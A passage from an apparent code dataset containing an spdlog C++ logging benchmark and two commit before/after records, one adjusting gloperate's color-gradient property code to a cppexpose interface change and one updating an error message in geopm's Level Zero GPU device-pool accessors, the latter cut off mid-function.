\"spdlog\/sinks\/rotating_file_sink.h\"\n#include \"spdlog\/spdlog.h\"\n#include \"utils.h\"\n#include <atomic>\n#include <cstdlib> \/\/ EXIT_FAILURE\n#include <iostream>\n#include <memory>\n#include <string>\n#include <thread>\n\nusing namespace std;\nusing namespace std::chrono;\nusing namespace spdlog;\nusing namespace spdlog::sinks;\nusing namespace utils;\n\nvoid bench(int howmany, std::shared_ptr<spdlog::logger> log);\nvoid bench_mt(int howmany, std::shared_ptr<spdlog::logger> log, int thread_count);\n\nint main(int argc, char *argv[])\n{\n\n\n int howmany = 1000000;\n int queue_size = howmany + 2;\n int threads = 10;\n int file_size = 30 * 1024 * 1024;\n int rotating_files = 5;\n\n try\n {\n\n if (argc > 1)\n howmany = atoi(argv[1]);\n if (argc > 2)\n threads = atoi(argv[2]);\n if (argc > 3)\n queue_size = atoi(argv[3]);\n\n cout << \"*******************************************************************************\\n\";\n cout << \"Single thread, \" << format(howmany) << \" iterations\" << endl;\n cout << \"*******************************************************************************\\n\";\n\n auto basic_st = spdlog::basic_logger_mt(\"basic_st\", \"logs\/basic_st.log\", true);\n bench(howmany, basic_st);\n\n auto rotating_st = spdlog::rotating_logger_st(\"rotating_st\", \"logs\/rotating_st.log\", file_size, rotating_files);\n bench(howmany, rotating_st);\n\n auto daily_st = spdlog::daily_logger_st(\"daily_st\", \"logs\/daily_st.log\");\n bench(howmany, daily_st);\n\n bench(howmany, spdlog::create<null_sink_st>(\"null_st\"));\n\n cout << \"\\n*******************************************************************************\\n\";\n cout << threads << \" threads sharing same logger, \" << format(howmany) << \" iterations\" << endl;\n cout << \"*******************************************************************************\\n\";\n\n auto basic_mt = spdlog::basic_logger_mt(\"basic_mt\", \"logs\/basic_mt.log\", true);\n bench_mt(howmany, basic_mt, threads);\n\n auto rotating_mt = spdlog::rotating_logger_mt(\"rotating_mt\", \"logs\/rotating_mt.log\", file_size, rotating_files);\n bench_mt(howmany, rotating_mt, threads);\n\n auto daily_mt = spdlog::daily_logger_mt(\"daily_mt\", \"logs\/daily_mt.log\");\n bench_mt(howmany, daily_mt, threads);\n bench(howmany, spdlog::create<null_sink_st>(\"null_mt\"));\n\n cout << \"\\n*******************************************************************************\\n\";\n cout << \"async logging.. \" << threads << \" threads sharing same logger, \" << format(howmany) << \" iterations \" << endl;\n cout << \"*******************************************************************************\\n\";\n\n for (int i = 0; i < 3; ++i)\n {\n spdlog::init_thread_pool(queue_size, 1);\n auto as = spdlog::basic_logger_mt<spdlog::async_factory>(\"async\", \"logs\/basic_async.log\", true);\n bench_mt(howmany, as, threads);\n spdlog::drop(\"async\");\n }\n }\n catch (std::exception &ex)\n {\n std::cerr << \"Error: \" << ex.what() << std::endl;\n perror(\"Last error\");\n return EXIT_FAILURE;\n }\n return EXIT_SUCCESS;\n}\n\nvoid bench(int howmany, std::shared_ptr<spdlog::logger> log)\n{\n using std::chrono::high_resolution_clock;\n cout << log->name() << \"...\\t\\t\" << flush;\n auto start = high_resolution_clock::now();\n for (auto i = 0; i < howmany; ++i)\n {\n log->info(\"Hello logger: msg number {}\", i);\n }\n\n auto delta = high_resolution_clock::now() - start;\n auto delta_d = duration_cast<duration<double>>(delta).count();\n cout << \"Elapsed: \" << delta_d << \"\\t\" << format(int(howmany \/ delta_d)) << \"\/sec\" << endl;\n}\n\nvoid bench_mt(int howmany, std::shared_ptr<spdlog::logger> log, int thread_count)\n{\n using std::chrono::high_resolution_clock;\n cout << log->name() << \"...\\t\\t\" << flush;\n vector<thread> threads;\n auto start = high_resolution_clock::now();\n for (int t = 0; t < thread_count; ++t)\n {\n threads.push_back(std::thread([&]() {\n for (int j = 0; j < howmany \/ thread_count; j++)\n {\n log->info(\"Hello logger: msg number {}\", j);\n }\n }));\n }\n\n for (auto &t : threads)\n {\n t.join();\n };\n\n auto delta = high_resolution_clock::now() - start;\n auto delta_d = duration_cast<duration<double>>(delta).count();\n cout << \"Elapsed: \" << delta_d << \"\\t\" << format(int(howmany \/ delta_d)) << \"\/sec\" << endl;\n}\n<|endoftext|>"} {"text":"<commit_before>\r\n#include <gloperate\/rendering\/ColorGradientPreparation.h>\r\n\r\n#include <cppexpose\/reflection\/AbstractProperty.h>\r\n\r\n#include <gloperate\/rendering\/AbstractColorGradient.h>\r\n#include <gloperate\/rendering\/ColorGradientList.h>\r\n\r\n\r\nnamespace gloperate\r\n{\r\n\r\n\r\nColorGradientPreparation::ColorGradientPreparation(const ColorGradientList & gradients, const std::pair<std::uint32_t, std::uint32_t> & iconSize)\r\n: ColorGradientPreparation(gradients, iconSize, {})\r\n{\r\n}\r\n\r\nColorGradientPreparation::ColorGradientPreparation(const ColorGradientList & gradients, const std::pair<std::uint32_t, std::uint32_t> & iconSize, const std::set<std::string> & whitelist)\r\n: m_gradients(gradients)\r\n, m_iconSize(iconSize)\r\n, m_whitelist(whitelist)\r\n{\r\n}\r\n\r\nconst ColorGradientList & ColorGradientPreparation::gradients() const\r\n{\r\n return m_gradients;\r\n}\r\n\r\nconst std::pair<std::uint32_t, std::uint32_t> & ColorGradientPreparation::iconSize() const\r\n{\r\n return m_iconSize;\r\n}\r\n\r\nstd::vector<std::string> ColorGradientPreparation::names() const\r\n{\r\n std::vector<std::string> result;\r\n\r\n fillNames(result);\r\n\r\n return result;\r\n}\r\n\r\nvoid ColorGradientPreparation::fillNames(std::vector<std::string> & names) const\r\n{\r\n names.clear();\r\n\r\n for (const auto & pair : m_gradients.gradients())\r\n {\r\n if (!m_whitelist.empty() && m_whitelist.count(pair.first) == 0)\r\n {\r\n continue;\r\n }\r\n\r\n names.push_back(pair.first);\r\n }\r\n}\r\n\r\nstd::vector<std::vector<unsigned char>> ColorGradientPreparation::pixmaps() const\r\n{\r\n std::vector<std::vector<unsigned char>> result;\r\n\r\n fillPixmaps(result);\r\n\r\n return result;\r\n}\r\n\r\nvoid ColorGradientPreparation::fillPixmaps(std::vector<std::vector<unsigned char>> & pixmaps) const\r\n{\r\n pixmaps.clear();\r\n\r\n for (const auto & pair : m_gradients.gradients())\r\n {\r\n if (!m_whitelist.empty() && m_whitelist.count(pair.first) == 0)\r\n {\r\n continue;\r\n }\r\n\r\n const AbstractColorGradient * gradient = pair.second;\r\n\r\n std::vector<unsigned char> gradientData(m_iconSize.first * m_iconSize.second * sizeof(std::uint32_t));\r\n\r\n for (size_t i = 0; i < m_iconSize.second; ++i)\r\n {\r\n gradient->fillPixelData(gradientData.data()+i*m_iconSize.first*sizeof(std::uint32_t), m_iconSize.first);\r\n }\r\n\r\n pixmaps.push_back(gradientData);\r\n }\r\n}\r\n\r\nvoid ColorGradientPreparation::configureProperty(cppexpose::AbstractProperty * property) const\r\n{\r\n property->setOption(\"choices\", cppexpose::Variant::arrayFromValues(names()));\r\n property->setOption(\"pixmapSize\", cppexpose::Variant::fromValue(iconSize()));\r\n property->setOption(\"pixmaps\", cppexpose::Variant::arrayFromValues(pixmaps()));\r\n}\r\n\r\n\r\n} \/\/ namespace gloperate\r\n<commit_msg>Adjust to changed interface in cppexpose<commit_after>\r\n#include <gloperate\/rendering\/ColorGradientPreparation.h>\r\n\r\n#include <cppexpose\/reflection\/AbstractProperty.h>\r\n\r\n#include <gloperate\/rendering\/AbstractColorGradient.h>\r\n#include <gloperate\/rendering\/ColorGradientList.h>\r\n\r\n\r\nnamespace gloperate\r\n{\r\n\r\n\r\nColorGradientPreparation::ColorGradientPreparation(const ColorGradientList & gradients, const std::pair<std::uint32_t, std::uint32_t> & iconSize)\r\n: ColorGradientPreparation(gradients, iconSize, {})\r\n{\r\n}\r\n\r\nColorGradientPreparation::ColorGradientPreparation(const ColorGradientList & gradients, const std::pair<std::uint32_t, std::uint32_t> & iconSize, const std::set<std::string> & whitelist)\r\n: m_gradients(gradients)\r\n, m_iconSize(iconSize)\r\n, m_whitelist(whitelist)\r\n{\r\n}\r\n\r\nconst ColorGradientList & ColorGradientPreparation::gradients() const\r\n{\r\n return m_gradients;\r\n}\r\n\r\nconst std::pair<std::uint32_t, std::uint32_t> & ColorGradientPreparation::iconSize() const\r\n{\r\n return m_iconSize;\r\n}\r\n\r\nstd::vector<std::string> ColorGradientPreparation::names() const\r\n{\r\n std::vector<std::string> result;\r\n\r\n fillNames(result);\r\n\r\n return result;\r\n}\r\n\r\nvoid ColorGradientPreparation::fillNames(std::vector<std::string> & names) const\r\n{\r\n names.clear();\r\n\r\n for (const auto & pair : m_gradients.gradients())\r\n {\r\n if (!m_whitelist.empty() && m_whitelist.count(pair.first) == 0)\r\n {\r\n continue;\r\n }\r\n\r\n names.push_back(pair.first);\r\n }\r\n}\r\n\r\nstd::vector<std::vector<unsigned char>> ColorGradientPreparation::pixmaps() const\r\n{\r\n std::vector<std::vector<unsigned char>> result;\r\n\r\n fillPixmaps(result);\r\n\r\n return result;\r\n}\r\n\r\nvoid ColorGradientPreparation::fillPixmaps(std::vector<std::vector<unsigned char>> & pixmaps) const\r\n{\r\n pixmaps.clear();\r\n\r\n for (const auto & pair : m_gradients.gradients())\r\n {\r\n if (!m_whitelist.empty() && m_whitelist.count(pair.first) == 0)\r\n {\r\n continue;\r\n }\r\n\r\n const AbstractColorGradient * gradient = pair.second;\r\n\r\n std::vector<unsigned char> gradientData(m_iconSize.first * m_iconSize.second * sizeof(std::uint32_t));\r\n\r\n for (size_t i = 0; i < m_iconSize.second; ++i)\r\n {\r\n gradient->fillPixelData(gradientData.data()+i*m_iconSize.first*sizeof(std::uint32_t), m_iconSize.first);\r\n }\r\n\r\n pixmaps.push_back(gradientData);\r\n }\r\n}\r\n\r\nvoid ColorGradientPreparation::configureProperty(cppexpose::AbstractProperty * property) const\r\n{\r\n property->setOption(\"choices\", cppexpose::Variant::fromVector(names()));\r\n property->setOption(\"pixmapSize\", cppexpose::Variant::fromValue(iconSize()));\r\n property->setOption(\"pixmaps\", cppexpose::Variant::fromVector(pixmaps()));\r\n}\r\n\r\n\r\n} \/\/ namespace gloperate\r\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2015 - 2022, Intel Corporation\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include \"config.h\"\n\n#include <string>\n#include <cstdint>\n\n#include \"geopm\/Exception.hpp\"\n#include \"geopm\/Agg.hpp\"\n#include \"geopm\/Helper.hpp\"\n#include \"geopm_sched.h\"\n\n#include \"LevelZeroDevicePoolImp.hpp\"\n\nnamespace geopm\n{\n const LevelZeroDevicePool &levelzero_device_pool()\n {\n static LevelZeroDevicePoolImp instance(levelzero());\n return instance;\n }\n\n LevelZeroDevicePoolImp::LevelZeroDevicePoolImp(const LevelZero &levelzero)\n : m_levelzero(levelzero)\n {\n }\n\n LevelZeroDevicePoolImp::LevelZeroDevicePoolImp()\n : LevelZeroDevicePoolImp(levelzero())\n {\n }\n\n int LevelZeroDevicePoolImp::num_gpu(int domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU\n && domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) + \" is not supported.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n return m_levelzero.num_gpu(domain);\n }\n\n void LevelZeroDevicePoolImp::check_idx_range(int domain, unsigned int domain_idx) const\n {\n if (domain_idx >= (unsigned int) num_gpu(domain)) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) + \": domain \"\n + std::to_string(domain) + \" idx \" + std::to_string(domain_idx) +\n \" is out of range.\", GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n }\n\n void LevelZeroDevicePoolImp::check_domain_exists(int size, const char *func, int line) const\n {\n if (size == 0) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(func) +\n \": Not supported on this hardware for the specified \"\n \"LevelZero domain\",\n GEOPM_ERROR_INVALID, __FILE__, line);\n }\n }\n\n std::pair<unsigned int, unsigned int> LevelZeroDevicePoolImp::subdevice_device_conversion(unsigned int sub_idx) const\n {\n check_idx_range(GEOPM_DOMAIN_GPU_CHIP, sub_idx);\n unsigned int device_idx = 0;\n int subdevice_idx = 0;\n\n \/\/ TODO: this assumes a simple split of subdevice to device.\n \/\/ This may need to be adjusted based upon user preference or use case\n if (num_gpu(GEOPM_DOMAIN_GPU_CHIP) %\n num_gpu(GEOPM_DOMAIN_GPU) != 0) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": GEOPM Requires the number\" +\n \" of subdevices to be evenly divisible by the number of devices. \",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n int num_subdevice_per_device = num_gpu(GEOPM_DOMAIN_GPU_CHIP) \/\n num_gpu(GEOPM_DOMAIN_GPU);\n\n device_idx = sub_idx \/ num_subdevice_per_device;\n check_idx_range(GEOPM_DOMAIN_GPU, device_idx);\n subdevice_idx = sub_idx % num_subdevice_per_device;\n return {device_idx, subdevice_idx};\n }\n\n double LevelZeroDevicePoolImp::frequency_status(int domain, unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the frequency domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.frequency_domain_count(\n dev_subdev_idx_pair.first, l0_domain),\n __func__, __LINE__);\n\n return m_levelzero.frequency_status(dev_subdev_idx_pair.first, l0_domain,\n dev_subdev_idx_pair.second);\n }\n\n double LevelZeroDevicePoolImp::frequency_min(int domain, unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the frequency domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.frequency_domain_count(dev_subdev_idx_pair.first,\n l0_domain), __func__, __LINE__);\n\n return m_levelzero.frequency_min(dev_subdev_idx_pair.first,\n l0_domain, dev_subdev_idx_pair.second);\n }\n\n double LevelZeroDevicePoolImp::frequency_max(int domain, unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the frequency domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.frequency_domain_count(\n dev_subdev_idx_pair.first, l0_domain), __func__, __LINE__);\n\n return m_levelzero.frequency_max(dev_subdev_idx_pair.first, l0_domain,\n dev_subdev_idx_pair.second);\n }\n\n uint32_t LevelZeroDevicePoolImp::frequency_throttle_reasons(int domain, unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the frequency domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.frequency_domain_count(\n dev_subdev_idx_pair.first, l0_domain), __func__, __LINE__);\n\n return m_levelzero.frequency_throttle_reasons(dev_subdev_idx_pair.first, l0_domain,\n dev_subdev_idx_pair.second);\n }\n\n\n std::pair<double, double> LevelZeroDevicePoolImp::frequency_range(int domain,\n unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the frequency domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.frequency_domain_count(\n dev_subdev_idx_pair.first, l0_domain), __func__, __LINE__);\n\n return m_levelzero.frequency_range(dev_subdev_idx_pair.first, l0_domain,\n dev_subdev_idx_pair.second);\n\n }\n\n std::pair<uint64_t, uint64_t> LevelZeroDevicePoolImp::active_time_pair(int domain,\n unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the engine domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n \/\/ TODO: Some devices may not support ZES_ENGINE_GROUP_COMPUTE\/COPY_ALL. In that case this should be a\n \/\/ device level signal that handles aggregation of domains directly here\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.engine_domain_count(\n dev_subdev_idx_pair.first, l0_domain),\n __func__, __LINE__);\n\n return m_levelzero.active_time_pair(dev_subdev_idx_pair.first, l0_domain,\n dev_subdev_idx_pair.second);\n }\n\n uint64_t LevelZeroDevicePoolImp::active_time_timestamp(int domain,\n unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the engine domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n \/\/ TODO: Some devices may not support ZES_ENGINE_GROUP_COMPUTE\/COPY_ALL. In that case this should be a\n \/\/ device level signal that handles aggregation of domains directly here\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.engine_domain_count(\n dev_subdev_idx_pair.first, l0_domain),\n __func__, __LINE__);\n\n return m_levelzero.active_time_timestamp(dev_subdev_idx_pair.first, l0_domain,\n dev_subdev_idx_pair.second);\n }\n\n uint64_t LevelZeroDevicePoolImp::active_time(int domain, unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" +std::to_string(domain) +\n \" is not supported for the engine domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n \/\/TODO: Some devices may not support ZES_ENGINE_GROUP_COMPUTE\/COPY_ALL. In that case this should be a\n \/\/ device level signal that handles aggregation of domains directly here\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.engine_domain_count(\n dev_subdev_idx_pair.first, l0_domain),\n __func__, __LINE__);\n return m_levelzero.active_time(dev_subdev_idx_pair.first, l0_domain,\n dev_subdev_idx_pair.second);\n }\n\n int32_t LevelZeroDevicePoolImp::power_limit_min(int domain, unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the power domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n check_idx_range(domain, domain_idx);\n return m_levelzero.power_limit_min(domain_idx);\n }\n\n int32_t LevelZeroDevicePoolImp::power_limit_max(int domain,\n unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the power domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n check_idx_range(domain, domain_idx);\n return m_levelzero.power_limit_max(domain_idx);\n }\n\n int32_t LevelZeroDevicePoolImp::power_limit_tdp(int domain,\n unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the power domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n check_idx_range(domain, domain_idx);\n return m_levelzero.power_limit_tdp(domain_idx);\n }\n\n std::pair<uint64_t, uint64_t> LevelZeroDevicePoolImp::energy_pair(int domain,\n unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the power domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n check_idx_range(domain, domain_idx);\n return m_levelzero.energy_pair(domain_idx);\n }\n\n uint64_t LevelZeroDevicePoolImp::energy_timestamp(int domain,\n unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the power domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n check_idx_range(domain, domain_idx);\n return m_levelzero.energy_timestamp(domain_idx);\n }\n\n uint64_t LevelZeroDevicePoolImp::energy(int domain, unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the power domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n check_idx_range(domain, domain_idx);\n return m_levelzero.energy(domain_idx);\n }\n\n void LevelZeroDevicePoolImp::frequency_control(int domain, unsigned int domain_idx,\n int l0_domain, double range_min,\n double range_max) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the frequency domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.frequency_domain_count(\n dev_subdev_idx_pair.first, l0_domain),\n __func__, __LINE__);\n\n m_levelzero.frequency_control(dev_subdev_idx_pair.first, l0_domain,\n dev_subdev_idx_pair.second, range_min,\n range_max);\n }\n}\n<commit_msg>Error message update for clarity.<commit_after>\/*\n * Copyright (c) 2015 - 2022, Intel Corporation\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include \"config.h\"\n\n#include <string>\n#include <cstdint>\n\n#include \"geopm\/Exception.hpp\"\n#include \"geopm\/Agg.hpp\"\n#include \"geopm\/Helper.hpp\"\n#include \"geopm_sched.h\"\n\n#include \"LevelZeroDevicePoolImp.hpp\"\n\nnamespace geopm\n{\n const LevelZeroDevicePool &levelzero_device_pool()\n {\n static LevelZeroDevicePoolImp instance(levelzero());\n return instance;\n }\n\n LevelZeroDevicePoolImp::LevelZeroDevicePoolImp(const LevelZero &levelzero)\n : m_levelzero(levelzero)\n {\n }\n\n LevelZeroDevicePoolImp::LevelZeroDevicePoolImp()\n : LevelZeroDevicePoolImp(levelzero())\n {\n }\n\n int LevelZeroDevicePoolImp::num_gpu(int domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU\n && domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) + \" is not supported.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n return m_levelzero.num_gpu(domain);\n }\n\n void LevelZeroDevicePoolImp::check_idx_range(int domain, unsigned int domain_idx) const\n {\n if (domain_idx >= (unsigned int) num_gpu(domain)) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) + \": domain \"\n + std::to_string(domain) + \" idx \" + std::to_string(domain_idx) +\n \" is out of range.\", GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n }\n\n void LevelZeroDevicePoolImp::check_domain_exists(int size, const char *func, int line) const\n {\n if (size == 0) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(func) +\n \": Not supported on this hardware for the specified \"\n \"LevelZero domain\",\n GEOPM_ERROR_INVALID, __FILE__, line);\n }\n }\n\n std::pair<unsigned int, unsigned int> LevelZeroDevicePoolImp::subdevice_device_conversion(unsigned int sub_idx) const\n {\n check_idx_range(GEOPM_DOMAIN_GPU_CHIP, sub_idx);\n unsigned int device_idx = 0;\n int subdevice_idx = 0;\n\n \/\/ TODO: this assumes a simple split of subdevice to device.\n \/\/ This may need to be adjusted based upon user preference or use case\n if (num_gpu(GEOPM_DOMAIN_GPU_CHIP) %\n num_gpu(GEOPM_DOMAIN_GPU) != 0) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": GEOPM Requires the number\" +\n \" of subdevices to be evenly divisible by the number of devices. \",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n int num_subdevice_per_device = num_gpu(GEOPM_DOMAIN_GPU_CHIP) \/\n num_gpu(GEOPM_DOMAIN_GPU);\n\n device_idx = sub_idx \/ num_subdevice_per_device;\n check_idx_range(GEOPM_DOMAIN_GPU, device_idx);\n subdevice_idx = sub_idx % num_subdevice_per_device;\n return {device_idx, subdevice_idx};\n }\n\n double LevelZeroDevicePoolImp::frequency_status(int domain, unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the frequency domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.frequency_domain_count(\n dev_subdev_idx_pair.first, l0_domain),\n __func__, __LINE__);\n\n return m_levelzero.frequency_status(dev_subdev_idx_pair.first, l0_domain,\n dev_subdev_idx_pair.second);\n }\n\n double LevelZeroDevicePoolImp::frequency_min(int domain, unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the frequency domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.frequency_domain_count(dev_subdev_idx_pair.first,\n l0_domain), __func__, __LINE__);\n\n return m_levelzero.frequency_min(dev_subdev_idx_pair.first,\n l0_domain, dev_subdev_idx_pair.second);\n }\n\n double LevelZeroDevicePoolImp::frequency_max(int domain, unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the frequency domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.frequency_domain_count(\n dev_subdev_idx_pair.first, l0_domain), __func__, __LINE__);\n\n return m_levelzero.frequency_max(dev_subdev_idx_pair.first, l0_domain,\n dev_subdev_idx_pair.second);\n }\n\n uint32_t LevelZeroDevicePoolImp::frequency_throttle_reasons(int domain, unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for reading the \\\"frequency throttle reason\\\"\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.frequency_domain_count(\n dev_subdev_idx_pair.first, l0_domain), __func__, __LINE__);\n\n return m_levelzero.frequency_throttle_reasons(dev_subdev_idx_pair.first, l0_domain,\n dev_subdev_idx_pair.second);\n }\n\n\n std::pair<double, double> LevelZeroDevicePoolImp::frequency_range(int domain,\n unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the frequency domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.frequency_domain_count(\n dev_subdev_idx_pair.first, l0_domain), __func__, __LINE__);\n\n return m_levelzero.frequency_range(dev_subdev_idx_pair.first, l0_domain,\n dev_subdev_idx_pair.second);\n\n }\n\n std::pair<uint64_t, uint64_t> 